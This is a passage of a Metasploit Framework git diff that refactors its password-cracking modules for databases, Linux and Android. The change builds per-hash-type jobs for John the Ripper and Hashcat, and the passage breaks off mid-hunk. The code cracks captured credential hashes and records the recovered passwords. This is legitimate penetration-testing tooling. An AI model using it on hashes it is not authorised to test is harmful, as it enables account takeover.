hashes_regex << 'mssql' - hashes_regex << 'mssql05' - hashes_regex << 'mssql12' + hash_types_to_crack << 'mssql' + hash_types_to_crack << 'mssql05' + hash_types_to_crack << 'mssql12' end if datastore['MYSQL'] - hashes_regex << 'mysql' - hashes_regex << 'mysql-sha1' + hash_types_to_crack << 'mysql' + hash_types_to_crack << 'mysql-sha1' end if datastore['ORACLE'] # dynamic_1506 is oracle 11/12's H field, MD5. @@ -190,19 +127,33 @@ class MetasploitModule < Msf::Auxiliary # hashcat requires a format we dont have all the data for # in the current dumper, so this is disabled in module and lib if action.name == 'john' - hashes_regex << 'oracle' - hashes_regex << 'dynamic_1506' + hash_types_to_crack << 'oracle' + hash_types_to_crack << 'dynamic_1506' end - hashes_regex << 'raw-sha1,oracle' - hashes_regex << 'oracle11' - hashes_regex << 'oracle12c' + hash_types_to_crack << 'oracle11' + hash_types_to_crack << 'oracle12c' end if datastore['POSTGRES'] - hashes_regex << 'dynamic_1034' + hash_types_to_crack << 'dynamic_1034' end - # check we actually have an action to perform - fail_with(Failure::BadConfig, 'Please enable at least one database type to crack') if hashes_regex.empty? + jobs_to_do = [] + + # build our job list + hash_types_to_crack.each do |hash_type| + job = hash_job(hash_type, action.name) + if job.nil? + print_status("No #{hash_type} found to crack") + else + jobs_to_do << job + end + end + + # bail early of no jobs to do + if jobs_to_do.empty? + print_good("No uncracked password hashes found for: #{hash_types_to_crack.join(', ')}") + return + end # array of arrays for cracked passwords. # Inner array format: db_id, hash_type, username, password, method_of_crack @@ -210,10 +161,6 @@ class MetasploitModule < Msf::Auxiliary cracker = new_password_cracker(action.name) - # create the hash file first, so if there aren't any hashes we can quit early - # hashes is a reference list used by hashcat only - cracker.hash_path, hashes = hash_file(hashes_regex) - # generate our wordlist and close the file handle. wordlist = wordlist_file unless wordlist @@ -224,20 +171,30 @@ class MetasploitModule < Msf::Auxiliary wordlist.close print_status "Wordlist file written out to #{wordlist.path}" - cleanup_files = [cracker.hash_path, wordlist.path] + cleanup_files = [wordlist.path] + + jobs_to_do.each do |job| + format = job['type'] + hash_file = Rex::Quickfile.new("hashes_#{job['type']}_") + hash_file.puts job['formatted_hashlist'] + hash_file.close + cracker.hash_path = hash_file.path + cleanup_files << hash_file.path - hashes_regex.each do |format| # dupe our original cracker so we can safely change options between each run cracker_instance = cracker.dup cracker_instance.format = format + if action.name == 'john' cracker_instance.fork = datastore['FORK'] end # first check if anything has already been cracked so we don't report it incorrectly print_status "Checking #{format} hashes already cracked..." - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Already Cracked/POT', cracker_instance) - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? if action.name == 'john' print_status "Cracking #{format} hashes in single mode..." @@ -246,35 +203,23 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Single', cracker_instance) - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Single') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? - print_status "Cracking #{format} hashes in normal mode" + print_status "Cracking #{format} hashes in normal mode..." cracker_instance.mode_normal show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Normal', cracker_instance) - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Normal') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end - print_status "Cracking #{format} hashes in wordlist mode..." - if action.name == 'john' - # Turn on KoreLogic rules if the user asked for it - if datastore['KORELOGIC'] - cracker_instance.rules = 'KoreLogicRules' - print_status "Applying KoreLogic ruleset..." - end - end - show_command cracker_instance - cracker_instance.crack do |line| - vprint_status line.chomp - end - - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Wordlist', cracker_instance) - vprint_good(print_results(tbl, results)) - if datastore['INCREMENTAL'] print_status "Cracking #{format} hashes in incremental mode..." cracker_instance.mode_incremental @@ -282,8 +227,10 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Incremental', cracker_instance) - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Incremental') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['WORDLIST'] @@ -292,19 +239,21 @@ class MetasploitModule < Msf::Auxiliary # Turn on KoreLogic rules if the user asked for it if action.name == 'john' && datastore['KORELOGIC'] cracker_instance.rules = 'KoreLogicRules' - print_status "Applying KoreLogic ruleset..." + print_status 'Applying KoreLogic ruleset...' end show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Wordlist', cracker_instance) - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Wordlist') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end - #give a final print of results - print_good(print_results(tbl, results)) + # give a final print of results + print_good(append_results(tbl, results)) end if datastore['DeleteTempFiles'] cleanup_files.each do |f| @@ -312,55 +261,4 @@ class MetasploitModule < Msf::Auxiliary end end end - - def hash_file(hashes_regex) - hashes = [] - wrote_hash = false - hashlist = Rex::Quickfile.new("hashes_tmp") - # Convert names from JtR to db - hashes_regex = hashes_regex.join('|') - hashes_regex = hashes_regex.gsub('oracle', 'des|oracle')\ - .gsub('dynamic_1506', 'raw-sha1|oracle11|oracle12c|dynamic_1506')\ - .gsub('oracle11', 'raw-sha1|oracle11')\ - .gsub('dynamic_1034', 'postgres|raw-md5') - regex = Regexp.new hashes_regex - framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core| - next unless core.private.jtr_format =~ regex - # only add hashes which havne't been cracked - next unless already_cracked_pass(core.private.data).nil? - if action.name == 'john' - hashlist.puts hash_to_jtr(core) - elsif action.name == 'hashcat' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - hashes << {'hash' => core.private.data, 'un' => core.public.username, 'id' => core.id} - hashlist.puts hash_to_hashcat(core) - end - wrote_hash = true - end - if datastore['POSTGRES'] - framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::PostgresMD5').each do |core| - next unless core.private.jtr_format =~ regex - # only add hashes which havne't been cracked - next unless already_cracked_pass(core.private.data).nil? - if action.name == 'john' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - # however, for postgres, john doesn't take an id either - hashes << {'hash' => hash_to_jtr(core), 'un' => core.public.username, 'id' => core.id} - hashlist.puts hash_to_jtr(core) - elsif action.name == 'hashcat' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - hashes << {'hash' => core.private.data, 'un' => core.public.username, 'id' => core.id} - hashlist.puts hash_to_hashcat(core) - end - wrote_hash = true - end - end - hashlist.close - unless wrote_hash # check if we wrote anything and bail early if we didn't - hashlist.delete - fail_with Failure::NotFound, 'No applicable hashes in database to crack' - end - print_status "Hashes Written out to #{hashlist.path}" - return hashlist.path, hashes - end end diff --git a/modules/auxiliary/analyze/crack_linux.rb b/modules/auxiliary/analyze/crack_linux.rb index b9c8d872dc..d19c524ac0 100644 --- a/modules/auxiliary/analyze/crack_linux.rb +++ b/modules/auxiliary/analyze/crack_linux.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::PasswordCracker include Msf::Exploit::Deprecated @@ -11,45 +10,49 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Password Cracker: Linux', - 'Description' => %Q{ + 'Name' => 'Password Cracker: Linux', + 'Description' => %{ This module uses John the Ripper or Hashcat to identify weak passwords that have been acquired from unshadowed passwd files from Unix/Linux systems. The module will only crack MD5, BSDi and DES implementations by default. However, it can also crack Blowfish and SHA(256/512), but it is much slower. + MD5 is format 500 in hashcat. + DES is format 1500 in hashcat. + BSDI is format 12400 in hashcat. + BLOWFISH is format 3200 in hashcat. + SHA256 is format 7400 in hashcat. + SHA512 is format 1800 in hashcat. }, - 'Author' => - [ - 'theLightCosine', - 'hdm', - 'h00die' # hashcat integration - ] , - 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) - 'Actions' => - [ - ['john', 'Description' => 'Use John the Ripper'], - ['hashcat', 'Description' => 'Use Hashcat'], - ], + 'Author' => [ + 'theLightCosine', + 'hdm', + 'h00die' # hashcat integration + ], + 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) + 'Actions' => [ + ['john', { 'Description' => 'Use John the Ripper' }], + ['hashcat', { 'Description' => 'Use Hashcat' }], + ], 'DefaultAction' => 'john', ) register_options( [ - OptBool.new('MD5',[false, 'Include MD5 hashes', true]), - OptBool.new('DES',[false, 'Indlude DES hashes', true]), - OptBool.new('BSDI',[false, 'Include BSDI hashes', true]), - OptBool.new('BLOWFISH',[false, 'Include BLOWFISH hashes (Very Slow)', false]), - OptBool.new('SHA256',[false, 'Include SHA256 hashes (Very Slow)', false]), - OptBool.new('SHA512',[false, 'Include SHA512 hashes (Very Slow)', false]), - OptBool.new('INCREMENTAL',[false, 'Run in incremental mode', true]), - OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true]) + OptBool.new('MD5', [false, 'Include MD5 hashes', true]), + OptBool.new('DES', [false, 'Indlude DES hashes', true]), + OptBool.new('BSDI', [false, 'Include BSDI hashes', true]), + OptBool.new('BLOWFISH', [false, 'Include BLOWFISH hashes (Very Slow)', false]), + OptBool.new('SHA256', [false, 'Include SHA256 hashes (Very Slow)', false]), + OptBool.new('SHA512', [false, 'Include SHA512 hashes (Very Slow)', false]), + OptBool.new('INCREMENTAL', [false, 'Run in incremental mode', true]), + OptBool.new('WORDLIST', [false, 'Run in wordlist mode', true]) ] ) - end def show_command(cracker_instance) return unless datastore['ShowCommand'] + if action.name == 'john' cmd = cracker_instance.john_crack_command elsif action.name == 'hashcat' @@ -58,77 +61,67 @@ class MetasploitModule < Msf::Auxiliary print_status(" Cracking Command: #{cmd.join(' ')}") end - def print_results(tbl, cracked_hashes) - cracked_hashes.each do |row| - unless tbl.rows.include? row - tbl << row - end - end - tbl.to_s - end - def run - def process_crack(results, hashes, cred, hash_type, method) - return results if cred['core_id'].nil? # make sure we have good data - # make sure we dont add the same one again - if results.select {|r| r.first == cred['core_id']}.empty? - results << [cred['core_id'], hash_type, cred['username'], cred['password'], method] - end - - create_cracked_credential( username: cred['username'], password: cred['password'], core_id: cred['core_id']) - results - end - - def check_results(passwords, results, hash_type, hashes, method) + def check_results(passwords, results, hash_type, method) passwords.each do |password_line| password_line.chomp! next if password_line.blank? - fields = password_line.split(":") - # If we don't have an expected minimum number of fields, this is probably not a hash line + + fields = password_line.split(':') + cred = { 'hash_type' => hash_type, 'method' => method } + if action.name == 'john' - next unless fields.count >=3 - cred = {} + next unless fields.count >= 3 # If we don't have an expected minimum number of fields, this is probably not a hash line + cred['username'] = fields.shift - cred['core_id'] = fields.pop + cred['core_id'] = fields.pop 4.times { fields.pop } # Get rid of extra : cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it - results = process_crack(results, hashes, cred, hash_type, method) elsif action.name == 'hashcat' - next unless fields.count >= 2 - hash = fields.shift - password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them - next if hash.include?("Hashfile '") && hash.include?("' on line ") # skip error lines - hashes.each do |h| - next unless h['hash'] == hash - cred = {'core_id' => h['id'], - 'username' => h['un'], - 'password' => password} - results = process_crack(results, hashes, cred, hash_type, method) - end + next unless fields.count >= 2 # If we don't have an expected minimum number of fields, this is probably not a hash line + + cred['core_id'] = fields.shift + cred['hash'] = fields.shift + cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it + next if cred['core_id'].include?("Hashfile '") && cred['core_id'].include?("' on line ") # skip error lines + + # we don't have the username since we overloaded it with the core_id (since its a better fit for us) + # so we can now just go grab the username from the DB + cred['username'] = framework.db.creds(workspace: myworkspace, id: cred['core_id'])[0].public.username end + results = process_cracker_results(results, cred) end results end - tbl = Rex::Text::Table.new( - 'Header' => 'Cracked Hashes', - 'Indent' => 1, - 'Columns' => ['DB ID', 'Hash Type', 'Username', 'Cracked Password', 'Method'] - ) + tbl = tbl = cracker_results_table # array of hashes in jtr_format in the db, converted to an OR combined regex - hashes_regex = [] - hashes_regex << 'md5crypt' if datastore['MD5'] - hashes_regex << 'descrypt' if datastore['DES'] - hashes_regex << 'bsdicrypt' if datastore['BSDI'] - hashes_regex << 'bcrypt' if datastore['BLOWFISH'] - hashes_regex << 'sha256crypt' if datastore['SHA256'] - hashes_regex << 'sha512crypt' if datastore['SHA512'] - #if action.name == 'john' - # # hashcat doesn't do generic crypt(3) - # hashes_regex |= ['crypt', 'bcrypt'] if datastore['Crypt'] #blowfish is not within the 'crypt' family - #elsif action.name == 'hashcat' - #end + hash_types_to_crack = [] + hash_types_to_crack << 'md5crypt' if datastore['MD5'] + hash_types_to_crack << 'descrypt' if datastore['DES'] + hash_types_to_crack << 'bsdicrypt' if datastore['BSDI'] + hash_types_to_crack << 'bcrypt' if datastore['BLOWFISH'] + hash_types_to_crack << 'sha256crypt' if datastore['SHA256'] + hash_types_to_crack << 'sha512crypt' if datastore['SHA512'] + + jobs_to_do = [] + + # build our job list + hash_types_to_crack.each do |hash_type| + job = hash_job(hash_type, action.name) + if job.nil? + print_status("No #{hash_type} found to crack") + else + jobs_to_do << job + end + end + + # bail early of no jobs to do + if jobs_to_do.empty? + print_good("No uncracked password hashes found for: #{hash_types_to_crack.join(', ')}") + return + end # array of arrays for cracked passwords. # Inner array format: db_id, hash_type, username, password, method_of_crack @@ -136,10 +129,6 @@ class MetasploitModule < Msf::Auxiliary cracker = new_password_cracker(action.name) - # create the hash file first, so if there aren't any hashes we can quit early - # hashes is a reference list used by hashcat only - cracker.hash_path, hashes = hash_file(hashes_regex) - # generate our wordlist and close the file handle. wordlist = wordlist_file unless wordlist @@ -150,9 +139,15 @@ class MetasploitModule < Msf::Auxiliary wordlist.close print_status "Wordlist file written out to #{wordlist.path}" - cleanup_files = [cracker.hash_path, wordlist.path] + cleanup_files = [wordlist.path] + jobs_to_do.each do |job| + format = job['type'] + hash_file = Rex::Quickfile.new("hashes_#{job['type']}_") + hash_file.puts job['formatted_hashlist'] + hash_file.close + cracker.hash_path = hash_file.path + cleanup_files << hash_file.path - hashes_regex.each do |format| # dupe our original cracker so we can safely change options between each run cracker_instance = cracker.dup cracker_instance.format = format @@ -163,8 +158,10 @@ class MetasploitModule < Msf::Auxiliary # first check if anything has already been cracked so we don't report it incorrectly print_status "Checking #{format} hashes already cracked..." - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Already Cracked/POT') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? if action.name == 'john' print_status "Cracking #{format} hashes in single mode..." @@ -173,17 +170,21 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Single') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Single') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? - print_status "Cracking #{format} hashes in normal mode" + print_status "Cracking #{format} hashes in normal mode..." cracker_instance.mode_normal show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Normal') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Normal') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['INCREMENTAL'] @@ -193,69 +194,39 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Incremental') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Incremental') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end - if datastore['WORDLIST'] - print_status "Cracking #{format} hashes in wordlist mode..." - cracker_instance.mode_wordlist(wordlist.path) - # Turn on KoreLogic rules if the user asked for it - if action.name == 'john' && datastore['KORELOGIC'] - cracker_instance.rules = 'KoreLogicRules' - print_status "Applying KoreLogic ruleset..." - end - show_command cracker_instance - cracker_instance.crack do |line| - vprint_status line.chomp - end + next unless datastore['WORDLIST'] - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Wordlist') - vprint_good(print_results(tbl, results)) + print_status "Cracking #{format} hashes in wordlist mode..." + cracker_instance.mode_wordlist(wordlist.path) + # Turn on KoreLogic rules if the user asked for it + if action.name == 'john' && datastore['KORELOGIC'] + cracker_instance.rules = 'KoreLogicRules' + print_status 'Applying KoreLogic ruleset...' + end + show_command cracker_instance + cracker_instance.crack do |line| + vprint_status line.chomp end - #give a final print of results - print_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Wordlist') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end + + # give a final print of results + print_good(append_results(tbl, results)) + if datastore['DeleteTempFiles'] cleanup_files.each do |f| File.delete(f) end end end - - def hash_file(hashes_regex) - hashes = [] - wrote_hash = false - hashlist = Rex::Quickfile.new("hashes_tmp") - # Convert names from JtR to DB - hashes_regex = hashes_regex.join('|')\ - .gsub('md5crypt', 'md5')\ - .gsub('descrypt', 'des')\ - .gsub('bsdicrypt', 'bsdi')\ - .gsub('sha256crypt', 'sha256')\ - .gsub('sha512crypt', 'sha512')\ - .gsub('bcrypt', 'bf') - regex = Regexp.new hashes_regex - framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core| - next unless core.private.jtr_format =~ regex - # only add hashes which havne't been cracked - next unless already_cracked_pass(core.private.data).nil? - if action.name == 'john' - hashlist.puts hash_to_jtr(core) - elsif action.name == 'hashcat' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - hashes << {'hash' => core.private.data, 'un' => core.public.username, 'id' => core.id} - hashlist.puts hash_to_hashcat(core) - end - wrote_hash = true - end - hashlist.close - unless wrote_hash # check if we wrote anything and bail early if we didn't - hashlist.delete - fail_with Failure::NotFound, 'No applicable hashes in database to crack' - end - print_status "Hashes Written out to #{hashlist.path}" - return hashlist.path, hashes - end end diff --git a/modules/auxiliary/analyze/crack_mobile.rb b/modules/auxiliary/analyze/crack_mobile.rb index f136b1b1ca..07068d5628 100644 --- a/modules/auxiliary/analyze/crack_mobile.rb +++ b/modules/auxiliary/analyze/crack_mobile.rb @@ -3,45 +3,43 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::PasswordCracker def initialize super( - 'Name' => 'Password Cracker: Mobile', - 'Description' => %Q{ + 'Name' => 'Password Cracker: Mobile', + 'Description' => %{ This module uses Hashcat to identify weak passwords that have been acquired from Android systems. These utilize MD5 or SHA1 hashing. Android (Samsung) SHA1 is format 5800 in Hashcat. Android (non-Samsung) SHA1 is format 110 in Hashcat. Android MD5 is format 10. JTR does not support Android hashes at the time of writing. }, - 'Author' => - [ - 'h00die' - ] , - 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) - 'Actions' => - [ - ['hashcat', 'Description' => 'Use Hashcat'], - ], + 'Author' => [ + 'h00die' + ], + 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) + 'Actions' => [ + ['hashcat', { 'Description' => 'Use Hashcat' }], + ], 'DefaultAction' => 'hashcat', ) register_options( [ - OptBool.new('SAMSUNG',[false, 'Include Samsung SHA1 hashes', true]), - OptBool.new('SHA1',[false, 'Include Android-SHA1 hashes', true]), - OptBool.new('MD5',[false, 'Include Android-MD5 hashes', true]), - OptBool.new('INCREMENTAL',[false, 'Run in incremental mode', true]), - OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true]) + OptBool.new('SAMSUNG', [false, 'Include Samsung SHA1 hashes', true]), + OptBool.new('SHA1', [false, 'Include Android-SHA1 hashes', true]), + OptBool.new('MD5', [false, 'Include Android-MD5 hashes', true]), + OptBool.new('INCREMENTAL', [false, 'Run in incremental mode', true]), + OptBool.new('WORDLIST', [false, 'Run in wordlist mode', true]) ] ) end def show_command(cracker_instance) return unless datastore['ShowCommand'] + if action.name == 'john' # leaving this code here figuring jtr will eventually come around, but its an unused code block cmd = cracker_instance.john_crack_command elsif action.name == 'hashcat' @@ -50,80 +48,77 @@ class MetasploitModule < Msf::Auxiliary print_status(" Cracking Command: #{cmd.join(' ')}") end - def print_results(tbl, cracked_hashes) - cracked_hashes.each do |row| - unless tbl.rows.include? row - tbl << row - end - end - tbl.to_s - end - def run - def process_crack(results, hashes, cred, hash_type, method) - return results if cred['core_id'].nil? # make sure we have good data - # make sure we dont add the same one again - if results.select {|r| r.first == cred['core_id']}.empty? - results << [cred['core_id'], hash_type, cred['username'], cred['password'], method] - end - - create_cracked_credential( username: cred['username'], password: cred['password'], core_id: cred['core_id']) - results - end - - def check_results(passwords, results, hash_type, hashes, method) + def check_results(passwords, results, hash_type, method) passwords.each do |password_line| password_line.chomp! next if password_line.blank? - fields = password_line.split(":") + + fields = password_line.split(':') + cred = { 'hash_type' => hash_type, 'method' => method } # If we don't have an expected minimum number of fields, this is probably not a hash line if action.name == 'john' - next unless fields.count >=3 - cred = {} + next unless fields.count >= 3 + cred['username'] = fields.shift - cred['core_id'] = fields.pop + cred['core_id'] = fields.pop 4.times { fields.pop } # Get rid of extra : cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it - results = process_crack(results, hashes, cred, hash_type, method) elsif action.name == 'hashcat' next unless fields.count >= 2 - hash = "#{fields.shift}:#{fields.shift}" #grab hash and salt - password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them - next if hash.include?("Hashfile '") && hash.include?("' on line ") # skip error lines - hashes.each do |h| - next unless h['hash'].downcase == hash.downcase - cred = {'core_id' => h['id'], - 'username' => h['un'], - 'password' => password} - results = process_crack(results, hashes, cred, hash_type, method) - end + + cred['core_id'] = fields.shift + cred['hash'] = "#{fields.shift}:#{fields.shift}" # grab hash and salt + cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + next if cred['core_id'].include?("Hashfile '") && cred['core_id'].include?("' on line ") # skip error lines + + # we don't have the username since we overloaded it with the core_id (since its a better fit for us) + # so we can now just go grab the username from the DB + cred['username'] = framework.db.creds(workspace: myworkspace, id: cred['core_id'])[0].public.username end + results = process_cracker_results(results, cred) end results end tbl = Rex::Text::Table.new( - 'Header' => 'Cracked Hashes', - 'Indent' => 1, + 'Header' => 'Cracked Hashes', + 'Indent' => 1, 'Columns' => ['DB ID', 'Hash Type', 'Username', 'Cracked Password', 'Method'] ) # array of hashes in jtr_format in the db, converted to an OR combined regex - hashes_regex = [] - hashes_regex << 'android-sha1' if datastore['SHA1'] - hashes_regex << 'android-samsung-sha1' if datastore['SAMSUNG'] - hashes_regex << 'android-md5' if datastore['MD5'] + hash_types_to_crack = [] + hash_types_to_crack << 'android-sha1' if datastore['SHA1'] + hash_types_to_crack << 'android-samsung-sha1' if datastore['SAMSUNG'] + hash_types_to_crack << 'android-md5' if datastore['MD5'] + + jobs_to_do = [] + + # build our job list + hash_types_to_crack.each do |hash_type| + job = hash_job(hash_type, action.name) + if job.nil? + print_status("No #{hash_type} found to crack") + else + jobs_to_do << job + end + end + + # bail early of no jobs to do + if jobs_to_do.empty? + print_good("No uncracked password hashes found for: #{hash_types_to_crack.join(', ')}") + return + end + # array of arrays for cracked passwords. # Inner array format: db_id, hash_type, username, password, method_of_crack results = [] cracker = new_password_cracker(action.name) - # create the hash file first, so if there aren't any hashes we can quit early - # hashes is a reference list used by hashcat only - cracker.hash_path, hashes = hash_file(hashes_regex) - - wordlist = wordlist_file + # generate our wordlist and close the file handle. max length of DES is 8 + wordlist = wordlist_file(8) unless wordlist print_error('This module cannot run without a database connected. Use db_connect to connect to a database.') return @@ -132,9 +127,15 @@ class MetasploitModule < Msf::Auxiliary wordlist.close print_status "Wordlist file written out to #{wordlist.path}" - cleanup_files = [cracker.hash_path, wordlist.path] + cleanup_files = [wordlist.path] - hashes_regex.each do |format| + jobs_to_do.each do |job| + format = job['type'] + hash_file = Rex::Quickfile.new("hashes_#{job['type']}_") + hash_file.puts job['formatted_hashlist'] + hash_file.close + cracker.hash_path = hash_file.path + cleanup_files << hash_file.path # dupe our original cracker so we can safely change options between each run cracker_instance = cracker.dup cracker_instance.format = format @@ -145,8 +146,10 @@ class MetasploitModule < Msf::Auxiliary # first check if anything has already been cracked so we don't report it incorrectly print_status "Checking #{format} hashes already cracked..." - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Already Cracked/POT') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? if action.name == 'john' print_status "Cracking #{format} hashes in single mode..." @@ -155,17 +158,21 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Single') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Single') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? - print_status "Cracking #{format} hashes in normal mode" + print_status "Cracking #{format} hashes in normal mode..." cracker_instance.mode_normal show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Normal') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Normal') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if action.name == 'hashcat' @@ -175,8 +182,10 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Pin') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Pin') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['INCREMENTAL'] @@ -186,8 +195,10 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Incremental') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Incremental') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['WORDLIST'] @@ -196,19 +207,21 @@ class MetasploitModule < Msf::Auxiliary # Turn on KoreLogic rules if the user asked for it if action.name == 'john' && datastore['KORELOGIC'] cracker_instance.rules = 'KoreLogicRules' - print_status "Applying KoreLogic ruleset..." + print_status 'Applying KoreLogic ruleset...' end show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Wordlist') - 